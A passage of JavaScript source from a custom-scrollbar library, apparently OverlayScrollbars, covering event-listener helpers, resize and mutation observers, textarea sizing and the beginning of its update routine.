var _paddingAbsoluteCache;
var _clipAlwaysCache;
var _contentGlueSizeCache;
var _overflowBehaviorCache;
var _overflowAmountCache;
var _ignoreOverlayScrollbarHidingCache;
var _autoUpdateCache;
var _sizeAutoCapableCache;
var _contentElementScrollSizeChangeDetectedCache;
var _hostElementSizeChangeDetectedCache;
var _scrollbarsVisibilityCache;
var _scrollbarsAutoHideCache;
var _scrollbarsClickScrollingCache;
var _scrollbarsDragScrollingCache;
var _resizeCache;
var _normalizeRTLCache;
var _classNameCache;
var _oldClassName;
var _textareaAutoWrappingCache;
var _textareaInfoCache;
var _textareaSizeCache;
var _textareaDynHeightCache;
var _textareaDynWidthCache;
var _bodyMinSizeCache;
var _updateAutoCache = {};
//MutationObserver:
var _mutationObserverHost;
var _mutationObserverContent;
var _mutationObserverHostCallback;
var _mutationObserverContentCallback;
var _mutationObserversConnected;
var _mutationObserverAttrsTextarea = ['wrap', 'cols', 'rows'];
var _mutationObserverAttrsHost = [LEXICON.i, LEXICON.c, LEXICON.s, 'open'].concat(_viewportAttrsFromTarget);
//events:
var _destroyEvents = [];
//textarea:
var _textareaHasFocus;
//scrollbars:
var _scrollbarsAutoHideTimeoutId;
var _scrollbarsAutoHideMoveTimeoutId;
var _scrollbarsAutoHideDelay;
var _scrollbarsAutoHideNever;
var _scrollbarsAutoHideScroll;
var _scrollbarsAutoHideMove;
var _scrollbarsAutoHideLeave;
var _scrollbarsHandleHovered;
var _scrollbarsHandlesDefineScrollPos;
//resize
var _resizeNone;
var _resizeBoth;
var _resizeHorizontal;
var _resizeVertical;
//==== Event Listener ====//
/**
* Adds or removes a event listener from the given element.
* @param element The element to which the event listener shall be applied or removed.
* @param eventNames The name(s) of the events.
* @param listener The method which shall be called.
* @param remove True if the handler shall be removed, false or undefined if the handler shall be added.
* @param passiveOrOptions The options for the event.
*/
function setupResponsiveEventListener(element, eventNames, listener, remove, passiveOrOptions) {
var collected = COMPATIBILITY.isA(eventNames) && COMPATIBILITY.isA(listener);
var method = remove ? 'removeEventListener' : 'addEventListener';
var onOff = remove ? 'off' : 'on';
var events = collected ? false : eventNames.split(_strSpace)
var i = 0;
var passiveOrOptionsIsObj = FRAMEWORK.isPlainObject(passiveOrOptions);
var passive = (_supportPassiveEvents && (passiveOrOptionsIsObj ? (passiveOrOptions._passive) : passiveOrOptions)) || false;
var capture = passiveOrOptionsIsObj && (passiveOrOptions._capture || false);
var nativeParam = _supportPassiveEvents ? {
passive: passive,
capture: capture,
} : capture;
if (collected) {
for (; i < eventNames[LEXICON.l]; i++)
setupResponsiveEventListener(element, eventNames[i], listener[i], remove, passiveOrOptions);
}
else {
for (; i < events[LEXICON.l]; i++) {
if(_supportPassiveEvents) {
element[0][method](events[i], listener, nativeParam);
}
else {
element[onOff](events[i], listener);
}
}
}
}
function addDestroyEventListener(element, eventNames, listener, passive) {
setupResponsiveEventListener(element, eventNames, listener, false, passive);
_destroyEvents.push(COMPATIBILITY.bind(setupResponsiveEventListener, 0, element, eventNames, listener, true, passive));
}
//==== Resize Observer ====//
/**
* Adds or removes a resize observer from the given element.
* @param targetElement The element to which the resize observer shall be added or removed.
* @param onElementResizedCallback The callback which is fired every time the resize observer registers a size change or false / undefined if the resizeObserver shall be removed.
*/
function setupResizeObserver(targetElement, onElementResizedCallback) {
if (targetElement) {
var resizeObserver = COMPATIBILITY.rO();
var strAnimationStartEvent = 'animationstart mozAnimationStart webkitAnimationStart MSAnimationStart';
var strChildNodes = 'childNodes';
var constScroll = 3333333;
var callback = function () {
targetElement[_strScrollTop](constScroll)[_strScrollLeft](_isRTL ? _rtlScrollBehavior.n ? -constScroll : _rtlScrollBehavior.i ? 0 : constScroll : constScroll);
onElementResizedCallback();
};
//add resize observer:
if (onElementResizedCallback) {
if (_supportResizeObserver) {
var element = targetElement.addClass('observed').append(generateDiv(_classNameResizeObserverElement)).contents()[0];
var observer = element[_strResizeObserverProperty] = new resizeObserver(callback);
observer.observe(element);
}
else {
if (_msieVersion > 9 || !_autoUpdateRecommended) {
targetElement.prepend(
generateDiv(_classNameResizeObserverElement,
generateDiv({ c: _classNameResizeObserverItemElement, dir: 'ltr' },
generateDiv(_classNameResizeObserverItemElement,
generateDiv(_classNameResizeObserverItemFinalElement)
) +
generateDiv(_classNameResizeObserverItemElement,
generateDiv({ c: _classNameResizeObserverItemFinalElement, style: 'width: 200%; height: 200%' })
)
)
)
);
var observerElement = targetElement[0][strChildNodes][0][strChildNodes][0];
var shrinkElement = FRAMEWORK(observerElement[strChildNodes][1]);
var expandElement = FRAMEWORK(observerElement[strChildNodes][0]);
var expandElementChild = FRAMEWORK(expandElement[0][strChildNodes][0]);
var widthCache = observerElement[LEXICON.oW];
var heightCache = observerElement[LEXICON.oH];
var isDirty;
var rAFId;
var currWidth;
var currHeight;
var factor = 2;
var nativeScrollbarSize = globals.nativeScrollbarSize; //care don't make changes to this object!!!
var reset = function () {
/*
var sizeResetWidth = observerElement[LEXICON.oW] + nativeScrollbarSize.x * factor + nativeScrollbarSize.y * factor + _overlayScrollbarDummySize.x + _overlayScrollbarDummySize.y;
var sizeResetHeight = observerElement[LEXICON.oH] + nativeScrollbarSize.x * factor + nativeScrollbarSize.y * factor + _overlayScrollbarDummySize.x + _overlayScrollbarDummySize.y;
var expandChildCSS = {};
expandChildCSS[_strWidth] = sizeResetWidth;
expandChildCSS[_strHeight] = sizeResetHeight;
expandElementChild.css(expandChildCSS);
expandElement[_strScrollLeft](sizeResetWidth)[_strScrollTop](sizeResetHeight);
shrinkElement[_strScrollLeft](sizeResetWidth)[_strScrollTop](sizeResetHeight);
*/
expandElement[_strScrollLeft](constScroll)[_strScrollTop](constScroll);
shrinkElement[_strScrollLeft](constScroll)[_strScrollTop](constScroll);
};
var onResized = function () {
rAFId = 0;
if (!isDirty)
return;
widthCache = currWidth;
heightCache = currHeight;
callback();
};
var onScroll = function (event) {
currWidth = observerElement[LEXICON.oW];
currHeight = observerElement[LEXICON.oH];
isDirty = currWidth != widthCache || currHeight != heightCache;
if (event && isDirty && !rAFId) {
COMPATIBILITY.cAF()(rAFId);
rAFId = COMPATIBILITY.rAF()(onResized);
}
else if (!event)
onResized();
reset();
if (event) {
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
}
return false;
};
var expandChildCSS = {};
var observerElementCSS = {};
setTopRightBottomLeft(observerElementCSS, _strEmpty, [
-((nativeScrollbarSize.y + 1) * factor),
nativeScrollbarSize.x * -factor,
nativeScrollbarSize.y * -factor,
-((nativeScrollbarSize.x + 1) * factor)
]);
FRAMEWORK(observerElement).css(observerElementCSS);
expandElement.on(_strScroll, onScroll);
shrinkElement.on(_strScroll, onScroll);
targetElement.on(strAnimationStartEvent, function () {
onScroll(false);
});
//lets assume that the divs will never be that large and a constant value is enough
expandChildCSS[_strWidth] = constScroll;
expandChildCSS[_strHeight] = constScroll;
expandElementChild.css(expandChildCSS);
reset();
}
else {
var attachEvent = _documentElementNative.attachEvent;
var isIE = _msieVersion !== undefined;
if (attachEvent) {
targetElement.prepend(generateDiv(_classNameResizeObserverElement));
findFirst(targetElement, _strDot + _classNameResizeObserverElement)[0].attachEvent('onresize', callback);
}
else {
var obj = _documentElementNative.createElement(TYPES.o);
obj.setAttribute(LEXICON.ti, '-1');
obj.setAttribute(LEXICON.c, _classNameResizeObserverElement);
obj.onload = function () {
var wnd = this.contentDocument.defaultView;
wnd.addEventListener('resize', callback);
wnd.document.documentElement.style.display = 'none';
};
obj.type = 'text/html';
if (isIE)
targetElement.prepend(obj);
obj.data = 'about:blank';
if (!isIE)
targetElement.prepend(obj);
targetElement.on(strAnimationStartEvent, callback);
}
}
}
if (targetElement[0] === _sizeObserverElementNative) {
var directionChanged = function () {
var dir = _hostElement.css('direction');
var css = {};
var scrollLeftValue = 0;
var result = false;
if (dir !== _cssDirectionDetectedCache) {
if (dir === 'ltr') {
css[_strLeft] = 0;
css[_strRight] = _strAuto;
scrollLeftValue = constScroll;
}
else {
css[_strLeft] = _strAuto;
css[_strRight] = 0;
scrollLeftValue = _rtlScrollBehavior.n ? -constScroll : _rtlScrollBehavior.i ? 0 : constScroll;
}
//execution order is important for IE!!!
_sizeObserverElement.children().eq(0).css(css);
_sizeObserverElement[_strScrollLeft](scrollLeftValue)[_strScrollTop](constScroll);
_cssDirectionDetectedCache = dir;
result = true;
}
return result;
};
directionChanged();
addDestroyEventListener(targetElement, _strScroll, function (event) {
if (directionChanged())
update();
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
return false;
});
}
}
//remove resize observer:
else {
if (_supportResizeObserver) {
var element = targetElement.contents()[0];
var resizeObserverObj = element[_strResizeObserverProperty];
if (resizeObserverObj) {
resizeObserverObj.disconnect();
delete element[_strResizeObserverProperty];
}
}
else {
remove(targetElement.children(_strDot + _classNameResizeObserverElement).eq(0));
}
}
}
}
/**
* Freezes or unfreezes the given resize observer.
* @param targetElement The element to which the target resize observer is applied.
* @param freeze True if the resize observer shall be frozen, false otherwise.
function freezeResizeObserver(targetElement, freeze) {
if (targetElement !== undefined) {
if(freeze) {
if (_supportResizeObserver) {
var element = targetElement.contents()[0];
element[_strResizeObserverProperty].unobserve(element);
}
else {
targetElement = targetElement.children(_strDot + _classNameResizeObserverElement).eq(0);
var w = targetElement.css(_strWidth);
var h = targetElement.css(_strHeight);
var css = {};
css[_strWidth] = w;
css[_strHeight] = h;
targetElement.css(css);
}
}
else {
if (_supportResizeObserver) {
var element = targetElement.contents()[0];
element[_strResizeObserverProperty].observe(element);
}
else {
var css = { };
css[_strHeight] = _strEmpty;
css[_strWidth] = _strEmpty;
targetElement.children(_strDot + _classNameResizeObserverElement).eq(0).css(css);
}
}
}
}
*/
//==== Mutation Observers ====//
/**
* Creates MutationObservers for the host and content Element if they are supported.
*/
function createMutationObservers() {
if (_supportMutationObserver) {
var mutationObserverContentLag = 11;
var mutationObserver = COMPATIBILITY.mO();
var contentLastUpdate = COMPATIBILITY.now();
var mutationTarget;
var mutationAttrName;
var mutationIsClass;
var oldMutationVal;
var newClassVal;
var hostClassNameRegex;
var contentTimeout;
var now;
var sizeAuto;
var action;
_mutationObserverHostCallback = function (mutations) {
var doUpdate = false;
var doUpdateForce = false;
var mutation;
var mutatedAttrs = [];
if (_initialized && !_sleeping) {
each(mutations, function () {
mutation = this;
mutationTarget = mutation.target;
mutationAttrName = mutation.attributeName;
mutationIsClass = mutationAttrName === LEXICON.c;
oldMutationVal = mutation.oldValue;
newClassVal = mutationTarget.className;
if (_domExists && mutationIsClass && !doUpdateForce) {
// if old class value contains _classNameHostElementForeign and new class value doesn't
if (oldMutationVal.indexOf(_classNameHostElementForeign) > -1 && newClassVal.indexOf(_classNameHostElementForeign) < 0) {
hostClassNameRegex = createHostClassNameRegExp(true);
_hostElementNative.className = newClassVal.split(_strSpace).concat(oldMutationVal.split(_strSpace).filter(function (name) {
return name.match(hostClassNameRegex);
})).join(_strSpace);
doUpdate = doUpdateForce = true;
}
}
if (!doUpdate) {
doUpdate = mutationIsClass
? hostClassNamesChanged(oldMutationVal, newClassVal)
: mutationAttrName === LEXICON.s
? oldMutationVal !== mutationTarget[LEXICON.s].cssText
: true;
}
mutatedAttrs.push(mutationAttrName);
});
updateViewportAttrsFromTarget(mutatedAttrs);
if (doUpdate)
_base.update(doUpdateForce || _strAuto);
}
return doUpdate;
};
_mutationObserverContentCallback = function (mutations) {
var doUpdate = false;
var mutation;
if (_initialized && !_sleeping) {
each(mutations, function () {
mutation = this;
doUpdate = isUnknownMutation(mutation);
return !doUpdate;
});
if (doUpdate) {
now = COMPATIBILITY.now();
sizeAuto = (_heightAutoCache || _widthAutoCache);
action = function () {
if (!_destroyed) {
contentLastUpdate = now;
//if cols, rows or wrap attr was changed
if (_isTextarea)
textareaUpdate();
if (sizeAuto)
update();
else
_base.update(_strAuto);
}
};
clearTimeout(contentTimeout);
if (mutationObserverContentLag <= 0 || now - contentLastUpdate > mutationObserverContentLag || !sizeAuto)
action();
else
contentTimeout = setTimeout(action, mutationObserverContentLag);
}
}
return doUpdate;
}
_mutationObserverHost = new mutationObserver(_mutationObserverHostCallback);
_mutationObserverContent = new mutationObserver(_mutationObserverContentCallback);
}
}
/**
* Connects the MutationObservers if they are supported.
*/
function connectMutationObservers() {
if (_supportMutationObserver && !_mutationObserversConnected) {
_mutationObserverHost.observe(_hostElementNative, {
attributes: true,
attributeOldValue: true,
attributeFilter: _mutationObserverAttrsHost
});
_mutationObserverContent.observe(_isTextarea ? _targetElementNative : _contentElementNative, {
attributes: true,
attributeOldValue: true,
subtree: !_isTextarea,
childList: !_isTextarea,
characterData: !_isTextarea,
attributeFilter: _isTextarea ? _mutationObserverAttrsTextarea : _mutationObserverAttrsHost
});
_mutationObserversConnected = true;
}
}
/**
* Disconnects the MutationObservers if they are supported.
*/
function disconnectMutationObservers() {
if (_supportMutationObserver && _mutationObserversConnected) {
_mutationObserverHost.disconnect();
_mutationObserverContent.disconnect();
_mutationObserversConnected = false;
}
}
//==== Events of elements ====//
/**
* This method gets called every time the host element gets resized. IMPORTANT: Padding changes are detected too!!
* It refreshes the hostResizedEventArgs and the hostSizeResizeCache.
* If there are any size changes, the update method gets called.
*/
function hostOnResized() {
if (!_sleeping) {
var changed;
var hostSize = {
w: _sizeObserverElementNative[LEXICON.sW],
h: _sizeObserverElementNative[LEXICON.sH]
};
changed = checkCache(hostSize, _hostElementSizeChangeDetectedCache);
_hostElementSizeChangeDetectedCache = hostSize;
if (changed)
update({ _hostSizeChanged: true });
}
}
/**
* The mouse enter event of the host element. This event is only needed for the autoHide feature.
*/
function hostOnMouseEnter() {
if (_scrollbarsAutoHideLeave)
refreshScrollbarsAutoHide(true);
}
/**
* The mouse leave event of the host element. This event is only needed for the autoHide feature.
*/
function hostOnMouseLeave() {
if (_scrollbarsAutoHideLeave && !_bodyElement.hasClass(_classNameDragging))
refreshScrollbarsAutoHide(false);
}
/**
* The mouse move event of the host element. This event is only needed for the autoHide "move" feature.
*/
function hostOnMouseMove() {
if (_scrollbarsAutoHideMove) {
refreshScrollbarsAutoHide(true);
clearTimeout(_scrollbarsAutoHideMoveTimeoutId);
_scrollbarsAutoHideMoveTimeoutId = setTimeout(function () {
if (_scrollbarsAutoHideMove && !_destroyed)
refreshScrollbarsAutoHide(false);
}, 100);
}
}
/**
* Prevents text from deselection if attached to the document element on the mousedown event of a DOM element.
* @param event The select start event.
*/
function documentOnSelectStart(event) {
COMPATIBILITY.prvD(event);
return false;
}
/**
* A callback which will be called after a element has loaded.
*/
function updateOnLoadCallback(event) {
var elm = FRAMEWORK(event.target);
eachUpdateOnLoad(function (i, updateOnLoadSelector) {
if (elm.is(updateOnLoadSelector)) {
update({ _contentSizeChanged: true });
}
});
}
/**
* Adds or removes mouse & touch events of the host element. (for handling auto-hiding of the scrollbars)
* @param destroy Indicates whether the events shall be added or removed.
*/
function setupHostMouseTouchEvents(destroy) {
if (!destroy)
setupHostMouseTouchEvents(true);
setupResponsiveEventListener(_hostElement,
_strMouseTouchMoveEvent.split(_strSpace)[0],
hostOnMouseMove,
(!_scrollbarsAutoHideMove || destroy), true);
setupResponsiveEventListener(_hostElement,
[_strMouseEnter, _strMouseLeave],
[hostOnMouseEnter, hostOnMouseLeave],
(!_scrollbarsAutoHideLeave || destroy), true);
//if the plugin is initialized and the mouse is over the host element, make the scrollbars visible
if (!_initialized && !destroy)
_hostElement.one('mouseover', hostOnMouseEnter);
}
//==== Update Detection ====//
/**
* Measures the min width and min height of the body element and refreshes the related cache.
* @returns {boolean} True if the min width or min height has changed, false otherwise.
*/
function bodyMinSizeChanged() {
var bodyMinSize = {};
if (_isBody && _contentArrangeElement) {
bodyMinSize.w = parseToZeroOrNumber(_contentArrangeElement.css(_strMinMinus + _strWidth));
bodyMinSize.h = parseToZeroOrNumber(_contentArrangeElement.css(_strMinMinus + _strHeight));
bodyMinSize.c = checkCache(bodyMinSize, _bodyMinSizeCache);
bodyMinSize.f = true; //flag for "measured at least once"
}
_bodyMinSizeCache = bodyMinSize;
return !!bodyMinSize.c;
}
/**
* Returns true if the class names really changed (new class without plugin host prefix)
* @param oldClassNames The old ClassName string or array.
* @param newClassNames The new ClassName string or array.
* @returns {boolean} True if the class names has really changed, false otherwise.
*/
function hostClassNamesChanged(oldClassNames, newClassNames) {
var currClasses = typeof newClassNames == TYPES.s ? newClassNames.split(_strSpace) : [];
var oldClasses = typeof oldClassNames == TYPES.s ? oldClassNames.split(_strSpace) : [];
var diff = getArrayDifferences(oldClasses, currClasses);
// remove none theme from diff list to prevent update
var idx = inArray(_classNameThemeNone, diff);
var i;
var regex;
if (idx > -1)
diff.splice(idx, 1);
if (diff[LEXICON.l] > 0) {
regex = createHostClassNameRegExp(true, true);
for (i = 0; i < diff.length; i++) {
if (!diff[i].match(regex)) {
return true;
}
}
}
return false;
}
/**
* Returns true if the given mutation is not from a from the plugin generated element. If the target element is a textarea the mutation is always unknown.
* @param mutation The mutation which shall be checked.
* @returns {boolean} True if the mutation is from a unknown element, false otherwise.
*/
function isUnknownMutation(mutation) {
var attributeName = mutation.attributeName;
var mutationTarget = mutation.target;
var mutationType = mutation.type;
var strClosest = 'closest';
if (mutationTarget === _contentElementNative)
return attributeName === null;
if (mutationType === 'attributes' && (attributeName === LEXICON.c || attributeName === LEXICON.s) && !_isTextarea) {
//ignore className changes by the plugin
if (attributeName === LEXICON.c && FRAMEWORK(mutationTarget).hasClass(_classNameHostElement))
return hostClassNamesChanged(mutation.oldValue, mutationTarget.className);
//only do it of browser support it natively
if (typeof mutationTarget[strClosest] != TYPES.f)
return true;
if (mutationTarget[strClosest](_strDot + _classNameResizeObserverElement) !== null ||
mutationTarget[strClosest](_strDot + _classNameScrollbar) !== null ||
mutationTarget[strClosest](_strDot + _classNameScrollbarCorner) !== null)
return false;
}
return true;
}
/**
* Returns true if the content size was changed since the last time this method was called.
* @returns {boolean} True if the content size was changed, false otherwise.
*/
function updateAutoContentSizeChanged() {
if (_sleeping)
return false;
var contentMeasureElement = getContentMeasureElement();
var textareaValueLength = _isTextarea && _widthAutoCache && !_textareaAutoWrappingCache ? _targetElement.val().length : 0;
var setCSS = !_mutationObserversConnected && _widthAutoCache && !_isTextarea;
var css = {};
var float;
var bodyMinSizeC;
var changed;
var contentElementScrollSize;
if (setCSS) {
float = _contentElement.css(_strFloat);
css[_strFloat] = _isRTL ? _strRight : _strLeft;
css[_strWidth] = _strAuto;
_contentElement.css(css);
}
contentElementScrollSize = {
w: contentMeasureElement[LEXICON.sW] + textareaValueLength,
h: contentMeasureElement[LEXICON.sH] + textareaValueLength
};
if (setCSS) {
css[_strFloat] = float;
css[_strWidth] = _strHundredPercent;
_contentElement.css(css);
}
bodyMinSizeC = bodyMinSizeChanged();
changed = checkCache(contentElementScrollSize, _contentElementScrollSizeChangeDetectedCache);
_contentElementScrollSizeChangeDetectedCache = contentElementScrollSize;
return changed || bodyMinSizeC;
}
/**
* Returns true when a attribute which the MutationObserver would observe has changed.
* @returns {boolean} True if one of the attributes which a MutationObserver would observe has changed, false or undefined otherwise.
*/
function meaningfulAttrsChanged() {
if (_sleeping || _mutationObserversConnected)
return;
var elem;
var curr;
var cache;
var changedAttrs = [];
var checks = [
{
_elem: _hostElement,
_attrs: _mutationObserverAttrsHost.concat(':visible')
},
{
_elem: _isTextarea ? _targetElement : undefined,
_attrs: _mutationObserverAttrsTextarea
}
];
each(checks, function (index, check) {
elem = check._elem;
if (elem) {
each(check._attrs, function (index, attr) {
curr = attr.charAt(0) === ':' ? elem.is(attr) : elem.attr(attr);
cache = _updateAutoCache[attr];
if (checkCache(curr, cache)) {
changedAttrs.push(attr);
}
_updateAutoCache[attr] = curr;
});
}
});
updateViewportAttrsFromTarget(changedAttrs);
return changedAttrs[LEXICON.l] > 0;
}
/**
* Checks is a CSS Property of a child element is affecting the scroll size of the content.
* @param propertyName The CSS property name.
* @returns {boolean} True if the property is affecting the content scroll size, false otherwise.
*/
function isSizeAffectingCSSProperty(propertyName) {
if (!_initialized)
return true;
var flexGrow = 'flex-grow';
var flexShrink = 'flex-shrink';
var flexBasis = 'flex-basis';
var affectingPropsX = [
_strWidth,
_strMinMinus + _strWidth,
_strMaxMinus + _strWidth,
_strMarginMinus + _strLeft,
_strMarginMinus + _strRight,
_strLeft,
_strRight,
'font-weight',
'word-spacing',
flexGrow,
flexShrink,
flexBasis
];
var affectingPropsXContentBox = [
_strPaddingMinus + _strLeft,
_strPaddingMinus + _strRight,
_strBorderMinus + _strLeft + _strWidth,
_strBorderMinus + _strRight + _strWidth
];
var affectingPropsY = [
_strHeight,
_strMinMinus + _strHeight,
_strMaxMinus + _strHeight,
_strMarginMinus + _strTop,
_strMarginMinus + _strBottom,
_strTop,
_strBottom,
'line-height',
flexGrow,
flexShrink,
flexBasis
];
var affectingPropsYContentBox = [
_strPaddingMinus + _strTop,
_strPaddingMinus + _strBottom,
_strBorderMinus + _strTop + _strWidth,
_strBorderMinus + _strBottom + _strWidth
];
var _strS = 's';
var _strVS = 'v-s';
var checkX = _overflowBehaviorCache.x === _strS || _overflowBehaviorCache.x === _strVS;
var checkY = _overflowBehaviorCache.y === _strS || _overflowBehaviorCache.y === _strVS;
var sizeIsAffected = false;
var checkPropertyName = function (arr, name) {
for (var i = 0; i < arr[LEXICON.l]; i++) {
if (arr[i] === name)
return true;
}
return false;
};
if (checkY) {
sizeIsAffected = checkPropertyName(affectingPropsY, propertyName);
if (!sizeIsAffected && !_isBorderBox)
sizeIsAffected = checkPropertyName(affectingPropsYContentBox, propertyName);
}
if (checkX && !sizeIsAffected) {
sizeIsAffected = checkPropertyName(affectingPropsX, propertyName);
if (!sizeIsAffected && !_isBorderBox)
sizeIsAffected = checkPropertyName(affectingPropsXContentBox, propertyName);
}
return sizeIsAffected;
}
//==== Update ====//
/**
* Sets the attribute values of the viewport element to the values from the target element.
* The value of a attribute is only set if the attribute is whitelisted.
* @attrs attrs The array of attributes which shall be set or undefined if all whitelisted shall be set.
*/
function updateViewportAttrsFromTarget(attrs) {
attrs = attrs || _viewportAttrsFromTarget;
each(attrs, function (index, attr) {
if (COMPATIBILITY.inA(attr, _viewportAttrsFromTarget) > -1) {
var targetAttr = _targetElement.attr(attr);
if (type(targetAttr) == TYPES.s) {
_viewportElement.attr(attr, targetAttr);
}
else {
_viewportElement.removeAttr(attr);
}
}
});
}
/**
* Updates the variables and size of the textarea element, and manages the scroll on new line or new character.
*/
function textareaUpdate() {
if (!_sleeping) {
var wrapAttrOff = !_textareaAutoWrappingCache;
var minWidth = _viewportSize.w;
var minHeight = _viewportSize.h;
var css = {};
var doMeasure = _widthAutoCache || wrapAttrOff;
var origWidth;
var width;
var origHeight;
var height;
//reset min size
css[_strMinMinus + _strWidth] = _strEmpty;
css[_strMinMinus + _strHeight] = _strEmpty;
//set width auto
css[_strWidth] = _strAuto;
_targetElement.css(css);
//measure width
origWidth = _targetElementNative[LEXICON.oW];
width = doMeasure ? MATH.max(origWidth, _targetElementNative[LEXICON.sW] - 1) : 1;
/*width += (_widthAutoCache ? _marginX + (!_isBorderBox ? wrapAttrOff ? 0 : _paddingX + _borderX : 0) : 0);*/
//set measured width
css[_strWidth] = _widthAutoCache ? _strAuto /*width*/ : _strHundredPercent;
css[_strMinMinus + _strWidth] = _strHundredPercent;
//set height auto
css[_strHeight] = _strAuto;
_targetElement.css(css);
//measure height
origHeight = _targetElementNative[LEXICON.oH];
height = MATH.max(origHeight, _targetElementNative[LEXICON.sH] - 1);
//append correct size values
css[_strWidth] = width;
css[_strHeight] = height;
_textareaCoverElement.css(css);
//apply min width / min height to prevent textarea collapsing
css[_strMinMinus + _strWidth] = minWidth /*+ (!_isBorderBox && _widthAutoCache ? _paddingX + _borderX : 0)*/;
css[_strMinMinus + _strHeight] = minHeight /*+ (!_isBorderBox && _heightAutoCache ? _paddingY + _borderY : 0)*/;
_targetElement.css(css);
return {
_originalWidth: origWidth,
_originalHeight: origHeight,
_dynamicWidth: width,
_dynamicHeight: height
};
}
}
/**
* Updates the plugin and DOM to the current options.
* This method should only be called if a update is 100% required.
* @param updateHints A objects which contains hints for this update:
* {
* _hostSizeChanged : boolean,
* _contentSizeChanged : boolean,
* _force : boolean, == preventSwallowing
* _changedOptions : { }, == preventSwallowing && preventSleep
* }
*/
function update(updateHints) {
clearTimeout(_swallowedUpdateTimeout);
updateHints = updateHints || {};
_swallowedUpdateHints._hostSizeChanged |= updateHints._hostSizeChanged;
_swallowedUpdateHints._contentSizeChanged |= updateHints._contentSizeChanged;
_swallowedUpdateHints._force |= updateHints._force;
var now = COMPATIBILITY.now();
var hostSizeChanged = !!_swallowedUpdateHints._hostSizeChanged;
var contentSizeChanged = !!_swallowedUpdateHints._contentSizeChanged;
var force = !!_swallowedUpdateHints._force;
var changedOptions = updateHints._changedOptions;
var swallow = _swallowUpdateLag > 0 && _initialized && !_destroyed && !force && !changedOptions && (now - _lastUpdateTime) < _swallowUpdateLag && (!_heightAutoCache && !_widthAutoCache);
var displayIsHidden;
if (swallow)
_swallowedUpdateTimeout = setTimeout(update, _swallowUpdateLag);
//abort update due to:
//destroyed
//swallowing
//sleeping
//host is hidden or has false display
if (_destroyed || swallow || (_sleeping && !changedOptions) || (_initialized && !force && (displayIsHidden = _hostElement.is(':hidden'))) || _hostElement.css('display') === 'inline')
return;
_lastUpdateTime = now;
_swallowedUpdateHints = {};
//if scrollbar styling is possible and native scrollbars aren't overlaid the scrollbar styling will be applied which hides the native scrollbars completely.
if (_nativeScrollbarStyling && !(_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y)) {
//native scrollbars are hidden, so change the values to zero
_nativeScrollbarSize.x = 0;
_nativeScrollbarSize.y = 0;
}
else {
//refresh native scrollbar size (in case of zoom)
_nativeScrollbarSize = extendDeep({}, globals.nativeScrollbarSize);
}
// Scrollbar padding is needed for firefox, because firefox hides scrollbar automatically if the size of the div is too small.
// The calculation: [scrollbar size +3 *3]
// (+3 because of possible decoration e.g. borders, margins etc., but only if native scrollbar is NOT a overlaid scrollbar)
// (*3 because (1)increase / (2)decrease -button and (3)resize handle)
_nativeScrollbarMinSize = {
x: (_nativeScrollbarSize.x + (_nativeScrollbarIsOverlaid.x ? 0 : 3)) * 3,
y: (_nativeScrollbarSize.y + (_nativeScrollbarIsOverlaid.y ? 0 : 3)) * 3
};
changedOptions = changedOptions || {};
//freezeResizeObserver(_sizeObserverElement, true);
//freezeResizeObserver(_sizeAutoObserverElement, true);
var checkCacheAutoForce = function () {
return checkCache.apply(this, [].slice.call(arguments).concat([force]));
};
//save current scroll offset
var currScroll = {
x: _viewportElement[_strScrollLeft](),
y: _viewportElement[_strScrollTop]()
};
var currentPreparedOptionsScrollbars = _currentPreparedOptions.scrollbars;
var currentPreparedOptionsTextarea = _currentPreparedOptions.textarea;
//scrollbars visibility:
var scrollbarsVisibility = currentPreparedOptionsScrollbars.visibility;
var scrollbarsVisibilityChanged = checkCacheAutoForce(scrollbarsVisibility, _scrollbarsVisibilityCache);
//scrollbars autoHide:
var scrollbarsAutoHide = currentPreparedOptionsScrollbars.autoHide;
var scrollbarsAutoHideChanged = checkCacheAutoForce(scrollbarsAutoHide, _scrollbarsAutoHideCache);
//scrollbars click scrolling
var scrollbarsClickScrolling = currentPreparedOptionsScrollbars.clickScrolling;
var scrollbarsClickScrollingChanged = checkCacheAutoForce(scrollbarsClickScrolling, _scrollbarsClickScrollingCache);
//scrollbars drag scrolling
var scrollbarsDragScrolling = currentPreparedOptionsScrollbars.dragScrolling;
var scrollbarsDragScrollingChanged = checkCacheAutoForce(scrollbarsDragScrolling, _scrollbarsDragScrollingCache);
//className
var className = _currentPreparedOptions.className;
var classNameChanged = checkCacheAutoForce(className, _classNameCache);
//resize
var resize = _currentPreparedOptions.resize;
var resizeChanged = checkCacheAutoForce(resize, _resizeCache) && !_isBody; //body can't be resized since the window itself acts as resize possibility.
//paddingAbsolute
var paddingAbsolute = _currentPreparedOptions.paddingAbsolute;
var paddingAbsoluteChanged = checkCacheAutoForce(paddingAbsolute, _paddingAbsoluteCache);
//clipAlways
var clipAlways = _currentPreparedOptions.clipAlways;
var clipAlwaysChanged = checkCacheAutoForce(clipAlways, _clipAlwaysCache);
//sizeAutoCapable
var sizeAutoCapable = _currentPreparedOptions.sizeAutoCapable && !_isBody; //body can never be size auto, because it shall be always as big as the viewport.
var sizeAutoCapableChanged = checkCacheAutoForce(sizeAutoCapable, _sizeAutoCapableCache);
//showNativeScrollbars
var ignoreOverlayScrollbarHiding = _currentPreparedOptions.nativeScrollbarsOverlaid.showNativeScrollbars;
var ignoreOverlayScrollbarHidingChanged = checkCacheAutoForce(ignoreOverlayScrollbarHiding, _ignoreOverlayScrollbarHidingCache);
//autoUpdate
var autoUpdate = _currentPreparedOptions.autoUpdate;
var autoUpdateChanged = checkCacheAutoForce(autoUpdate, _autoUpdateCache);
//overflowBehavior
var overflowBehavior = _currentPreparedOptions.overflowBehavior;
var overflowBehaviorChanged = checkCacheAutoForce(overflowBehavior, _overflowBehaviorCache, force);
//dynWidth:
var textareaDynWidth = currentPreparedOptionsTextarea.dynWidth;
var textareaDynWidthChanged = checkCacheAutoForce(_textareaDynWidthCache, textareaDynWidth);
//dynHeight:
var textareaDynHeight = currentPreparedOptionsTextarea.dynHeight;
var textareaDynHeightChanged = checkCacheAutoForce(_textareaDynHeightCache, textareaDynHeight);
//scrollbars visibility
_scrollbarsAutoHideNever = scrollbarsAutoHide === 'n';
_scrollbarsAutoHideScroll = scrollbarsAutoHide === 's';
_scrollbarsAutoHideMove = scrollbarsAutoHide === 'm';
_scrollbarsAutoHideLeave = scrollbarsAutoHide === 'l';
//scrollbars autoHideDelay
